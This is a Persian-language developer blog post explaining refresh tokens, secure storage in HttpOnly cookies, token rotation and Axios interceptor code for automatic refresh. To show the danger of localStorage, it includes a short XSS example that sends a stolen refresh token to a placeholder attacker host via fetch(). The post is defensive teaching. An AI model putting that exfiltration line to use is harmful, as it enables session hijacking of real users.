• صفحه اصلی
  • مهارت‌ها
  • پروژه‌ها
  • بلاگ
  • مشاوره
  • تماس با من
مشاورهرزومه
Naser Rasouli

نویسنده

Naser Rasouli

توسعه‌دهنده فرانت‌اند؛ اینجا تجربه‌ها و یادداشت‌های واقعی‌ام از پروژه‌ها را می‌نویسم.

GitHubLinkedIn

آخرین نوشته‌ها

RBAC استاتیک در React: نقش‌ها و دسترسی‌ها
2025-12-20•1 دقیقه مطالعه

RBAC استاتیک در React: نقش‌ها و دسترسی‌ها

الگوی سبک RBAC برای حفاظت از روت‌ها و UI در React با نقش‌ها و دسترسی‌های استاتیک.

تسلط بر Record در تایپ‌اسکریپت
2025-12-13•1 دقیقه مطالعه

تسلط بر Record در تایپ‌اسکریپت

یک راه تمیز برای مپ‌کردن enum و union به لیبل، آیکن و رنگ با Record در تایپ‌اسکریپت.

Conventional Commits: پیام‌های بهتر برای Git
2025-12-12•1 دقیقه مطالعه

Conventional Commits: پیام‌های بهتر برای Git

راهنمای سریع Conventional Commits برای داشتن تاریخچهٔ خوانا، اتوماسیون انتشار و چنج‌لاگ‌های دقیق.

رفرش‌توکن چیست و چگونه در فرانت‌اند پیاده‌سازی می‌شود؟

رفرش‌توکن چیست و چگونه در فرانت‌اند پیاده‌سازی می‌شود؟

2025-12-27
refresh-tokenjwtauthentication

مقدمه

در اپلیکیشن‌های مدرن وب — مخصوصاً SPAهایی مثل React، Vue، Next.js و سایر فریم‌ورک‌های فرانت‌اند — احراز هویت معمولاً بر پایهٔ توکن‌ها (معمولاً JWT) انجام می‌شود.
این یعنی بعد از لاگین، سرور به‌جای سشن سنتی، یک یا چند توکن در اختیار کلاینت قرار می‌دهد:

  • Access Token برای احراز هویت هر درخواست
  • Refresh Token برای تمدید امن Access Token بدون نیاز به لاگین مجدد

چالش اصلی اینجاست:
این توکن‌ها را کجا و چگونه در فرانت‌اند نگه داریم که هم امن باشد هم تجربهٔ کاربری خوبی بدهد؟

در این مقاله، با تمرکز روی رفرش‌توکن، معماری صحیح، ریسک‌ها، و پیاده‌سازی عملی آن در فرانت‌اند را بررسی می‌کنیم.


مفاهیم پایه: Access Token و Refresh Token

Access Token چیست؟

  • یک توکن با عمر کوتاه (مثلاً ۵ تا ۱۵ دقیقه)
  • همراه هر درخواست به سرور ارسال می‌شود (معمولاً در هدر Authorization: Bearer <token>)
  • اگر دزدیده شود، مهاجم می‌تواند تا زمانی که منقضی نشده، از آن استفاده کند.

Refresh Token چیست؟

Refresh Token یک توکن بلندمدت و بسیار حساس است که فقط یک وظیفه دارد:

صادر کردن یک Access Token جدید، بدون این‌که کاربر دوباره لاگین کند.

یعنی تا زمانی که Refresh Token معتبر است، کاربر می‌تواند:

  • تب مرورگر را ببندد و دوباره برگردد
  • بعد از چند ساعت یا چند روز، بدون لاگین مجدد به اپلیکیشن دسترسی داشته باشد

چرا اصلاً به Refresh Token نیاز داریم؟

اگر فقط Access Token داشته باشیم، دو انتخاب بیشتر نداریم:

  1. عمر کوتاه بدهیم → کاربر مرتب لاگین می‌خواهد → تجربهٔ کاربری بد
  2. عمر طولانی بدهیم → اگر لو برود، مهاجم مدت زیادی دسترسی دارد → امنیت پایین

Refresh Token این تعارض را حل می‌کند:

  • Access Token → عمر کوتاه → کاهش ریسک
  • Refresh Token → عمر بلندتر → حفظ تجربهٔ کاربری

تفاوت Access Token و Refresh Token

ویژگی Access Token Refresh Token
هدف احراز هویت هر درخواست صدور Access Token جدید
عمر کوتاه (دقیقه‌ها) بلند (ساعت‌ها، روزها یا بیشتر)
محل استفاده همراه با هر request فقط در endpoint رفرش (مثلاً /auth/refresh)
محل نگهداری پیشنهادی حافظهٔ موقت (Memory) یا Secure Storage کوکی HttpOnly امن روی دامنهٔ بک‌اند
ریسک در صورت سرقت متوسط بسیار بالا (امکان ساخت Access Tokenهای متعدد)

چرخهٔ کامل احراز هویت مبتنی بر Refresh Token

یک فلو ساده را در نظر بگیریم:

  1. لاگین

    • کاربر نام کاربری/رمز عبور را ارسال می‌کند.
    • سرور:
      • یک Access Token برمی‌گرداند.
      • یک Refresh Token را در قالب کوکی HttpOnly + Secure ست می‌کند.
  2. درخواست‌های عادی

    • فرانت‌اند Access Token را (از حافظه) خوانده و در هدر Authorization قرار می‌دهد.
    • سرور توکن را بررسی کرده و در صورت اعتبار، درخواست را انجام می‌دهد.
  3. منقضی شدن Access Token

    • سرور روی درخواست‌ها، خطای 401 Unauthorized برمی‌گرداند.
    • فرانت‌اند تشخیص می‌دهد توکن منقضی شده است.
    • یک درخواست به /auth/refresh ارسال می‌کند (Refresh Token به‌طور خودکار از طریق کوکی فرستاده می‌شود).
  4. صدور توکن جدید

    • سرور Refresh Token را اعتبارسنجی می‌کند.
    • اگر معتبر باشد:
      • یک Access Token جدید برمی‌گرداند.
      • معمولاً یک Refresh Token جدید هم صادر می‌کند (Token Rotation).
    • فرانت‌اند Access Token جدید را جایگزین قبلی کرده و درخواست قبلی را تکرار می‌کند.
  5. خروج (Logout)

    • فرانت‌اند درخواست POST /auth/logout ارسال می‌کند.
    • سرور Refresh Token را در دیتابیس باطل می‌کند و کوکی را خالی یا منقضی می‌کند.

چرا نباید Refresh Token را در localStorage ذخیره کنیم؟

خیلی‌ها در ابتدای کار این کار را می‌کنند:

// اشتباه و ناامن
localStorage.setItem("refresh_token", REFRESH_TOKEN);

مشکل اصلی اینجاست: localStorage از طریق جاوااسکریپت قابل دسترسی است.

اگر اپلیکیشن شما حتی یک ضعف کوچک XSS داشته باشد، مهاجم می‌تواند با یک اسکریپت ساده تمام توکن‌ها را بدزدد:

// نمونه حمله XSS
const refreshToken = localStorage.getItem("refresh_token");
fetch("https://attacker.com/steal?rt=" + encodeURIComponent(refreshToken));

بعد از این اتفاق، مهاجم می‌تواند:

  • در سیستم کاربر، روی هر دستگاه و هر مرورگری، Access Token جدید صادر کند.
  • کاربر را لاگ‌اوت کنید، باز هم مهاجم با Refresh Token دزدیده‌شده می‌تواند Access Token جدید بگیرد.

به همین دلیل:

نگهداری Refresh Token در localStorage یا sessionStorage به‌شدت توصیه نمی‌شود.


بهترین روش نگهداری توکن‌ها در فرانت‌اند

یک الگوی بسیار متداول و امن برای SPAها:

  1. Access Token در حافظه (Memory)

    • مثلاً در:
      • یک متغیر ساده جاوااسکریپت
      • Context/State Manager (مانند Redux، Zustand، Pinia، MobX)
    • با رفرش کامل صفحه از بین می‌رود → اما Refresh Token کمک می‌کند مجدداً توکن دریافت شود.
  2. Refresh Token در HttpOnly Secure Cookie

    • ست‌شده توسط سرور روی دامنهٔ بک‌اند
    • ویژگی‌های مهم:
      • HttpOnly → از سمت جاوااسکریپت قابل خواندن نیست → در برابر XSS مقاوم‌تر
      • Secure → فقط روی HTTPS ارسال می‌شود
      • SameSite=Strict یا Lax → کاهش احتمال CSRF

مثال هدر Set-Cookie سمت سرور

(نمونهٔ تقریبی پاسخ لاگین)

Set-Cookie: refresh_token=<token_value>;
  HttpOnly;
  Secure;
  Path=/auth/refresh;
  SameSite=Strict;
  Max-Age=1209600
  • Path=/auth/refresh یعنی این کوکی فقط در درخواست‌های مربوط به رفرش ارسال شود.
  • SameSite=Strict یعنی در درخواست‌های Cross-Site ارسال نشود (کاهش ریسک CSRF).

معماری Token Rotation چیست و چرا مهم است؟

Token Rotation یعنی:

هر بار که از Refresh Token برای گرفتن Access Token جدید استفاده می‌کنید، یک Refresh Token جدید هم صادر شده و قبلی باطل شود.

مزیت‌ها:

  • اگر مهاجم یک Refresh Token قدیمی را بدزدد، بعد از اولین استفادهٔ شما، آن توکن بی‌اعتبار می‌شود.
  • در صورت مشاهدهٔ استفادهٔ هم‌زمان از یک Refresh Token (مثلاً از دو IP مختلف)، سرور می‌تواند متوجه نشت توکن شود و کل سشن را ببندد.

فلو سادهٔ Token Rotation

  1. کاربر با Refresh Token شماره ۱ → درخواست /auth/refresh را می‌زند.
  2. سرور:
    • Refresh Token شماره ۱ را باطل می‌کند.
    • Access Token جدید + Refresh Token شماره ۲ صادر می‌کند.
  3. بار بعد، فقط Refresh Token شماره ۲ معتبر خواهد بود.

پیاده‌سازی عملی در فرانت‌اند (با Axios)

۱. نگهداری Access Token در حافظه

می‌توانیم یک ماژول ساده برای مدیریت توکن داشته باشیم:

// authStore.js
let accessToken = null;

export function setAccessToken(token) {
  accessToken = token;
}

export function getAccessToken() {
  return accessToken;
}

export function clearAccessToken() {
  accessToken = null;
}

در لاگین:

import axios from "axios";
import { setAccessToken } from "./authStore";

export async function login(email, password) {
  const res = await axios.post("/auth/login", { email, password }, {
    withCredentials: true, // برای ارسال و دریافت کوکی HttpOnly
  });

  setAccessToken(res.data.access_token);
}

توجه: Refresh Token در پاسخ لاگین به‌صورت کوکی HttpOnly روی دامنهٔ بک‌اند ست می‌شود و فرانت‌اند مستقیم آن را نمی‌بیند.


۲. افزودن Access Token به درخواست‌ها (Request Interceptor)

import axios from "axios";
import { getAccessToken } from "./authStore";

const api = axios.create({
  baseURL: "/api",
  withCredentials: true, // برای ارسال کوکی رفرش در صورت نیاز
});

api.interceptors.request.use((config) => {
  const token = getAccessToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

export default api;

۳. هندل کردن 401 و رفرش خودکار توکن (Response Interceptor)

این بخش قلب سیستم رفرش در فرانت‌اند است:

import api from "./api";
import { setAccessToken, clearAccessToken } from "./authStore";

let isRefreshing = false;
let pendingRequests = [];

function subscribeTokenRefresh(callback) {
  pendingRequests.push(callback);
}

function onRefreshed(newToken) {
  pendingRequests.forEach((cb) => cb(newToken));
  pendingRequests = [];
}

async function refreshToken() {
  const res = await api.post("/auth/refresh"); // کوکی HttpOnly به‌صورت خودکار ارسال می‌شود
  const newAccessToken = res.data.access_token;
  setAccessToken(newAccessToken);
  return newAccessToken;
}

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;

    // اگر 401 بود و قبلاً برای این درخواست رفرش انجام نشده
    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;

      if (!isRefreshing) {
        isRefreshing = true;
        try {
          const newToken = await refreshToken();
          isRefreshing = false;
          onRefreshed(newToken);
          // درخواست اصلی را با توکن جدید تکرار می‌کنیم
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          return api(originalRequest);
        } catch (err) {
          isRefreshing = false;
          clearAccessToken();
          // اینجا می‌توانیم کاربر را به صفحه لاگین بفرستیم
          // window.location.href = "/login";
          return Promise.reject(err);
        }
      }

      // اگر رفرش در حال انجام است، درخواست را در صف نگه می‌داریم
      return new Promise((resolve) => {
        subscribeTokenRefresh((newToken) => {
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          resolve(api(originalRequest));
        });
      });
    }

    return Promise.reject(error);
  }
);

نکات مهم این پیاده‌سازی:

  • فقط یک درخواست /auth/refresh در لحظه ارسال می‌شود.
  • سایر درخواست‌هایی که هنگام منقضی‌شدن توکن خطای 401 می‌خورند، در صف pendingRequests منتظر می‌مانند.
  • پس از رفرش موفق، همهٔ درخواست‌ها با توکن جدید دوباره ارسال می‌شوند.

مدیریت لاگ‌اوت امن در فرانت‌اند

هنگام خروج کاربر:

  1. در فرانت‌اند، Access Token را پاک می‌کنیم.
  2. یک درخواست به بک‌اند برای باطل‌سازی Refresh Token می‌فرستیم.
  3. بک‌اند:
    • Refresh Token را در دیتابیس یا Redis باطل می‌کند.
    • کوکی رفرش را خالی یا منقضی می‌کند.

نمونهٔ فانکشن logout در فرانت‌اند:

import api from "./api";
import { clearAccessToken } from "./authStore";

export async function logout() {
  try {
    await api.post("/auth/logout");
  } finally {
    clearAccessToken();
    // window.location.href = "/login";
  }
}

نکات ویژه برای فریم‌ورک‌های SSR مثل Next.js

در اپ‌هایی مثل Next.js که هم سمت سرور و هم سمت کلاینت رندر دارند:

  • نگهداری Refresh Token در HttpOnly Cookie همچنان بهترین گزینه است.
  • در API Routeها (یا Route Handlers) می‌توانید Refresh Token را از کوکی بخوانید و آن را مدیریت کنید.
  • Access Token را:
    • برای رندر سمت سرور، از کوکی/هدر‌ها گرفته و فقط به صورت امن به کلاینت پاس دهید (مثلاً از طریق props فقط حاوی اطلاعات ضروری).
    • یا کل منطق رفرش را در سمت سرور نگه دارید و فرانت‌اند فقط با سشن امن تعامل داشته باشد.

چک‌لیست نهایی برای امنیت Refresh Token در فرانت‌اند

برای جمع‌بندی، این چک‌لیست را می‌توانید معیار معماری خود قرار دهید:

  • عدم ذخیره Refresh Token در localStorage / sessionStorage
  • استفاده از HttpOnly + Secure Cookie برای Refresh Token
  • نگهداری Access Token در حافظه (و نه در کوکی یا localStorage)
  • پیاده‌سازی Token Rotation در بک‌اند
  • استفاده از SameSite=Strict یا Lax برای کاهش CSRF
  • اعمال HTTPS اجباری در محیط‌های واقعی
  • افزودن لایهٔ رفرش خودکار در فرانت‌اند (Interceptor برای 401)
  • پیاده‌سازی Logout امن همراه با باطل‌سازی Refresh Token در سرور
  • مانیتورینگ لاگ‌ها برای تشخیص استفادهٔ مشکوک از Refresh Tokenها

جمع‌بندی

رفرش‌توکن یکی از مهم‌ترین بخش‌های معماری احراز هویت مدرن در اپلیکیشن‌های فرانت‌اند است.
بدون استفاده درست از آن، یا باید Access Token طولانی‌مدت و ناامن داشته باشیم، یا باید کاربر را مدام مجبور به لاگین مجدد کنیم.

با الگوی زیر می‌توانیم بین امنیت و تجربهٔ کاربری تعادل خوبی برقرار کنیم:

  • Access Token با عمر کوتاه + نگهداری در حافظه
  • Refresh Token بلندمدت + نگهداری در HttpOnly Secure Cookie
  • Token Rotation برای کاهش ریسک نشت توکن

اگر این الگو را در پروژه‌ات پیاده‌سازی کنی، یک لایهٔ امنیتی بسیار مهم به سیستم اضافه کرده‌ای، بدون این‌که کاربر تحت فشار تجربهٔ بد قرار بگیرد.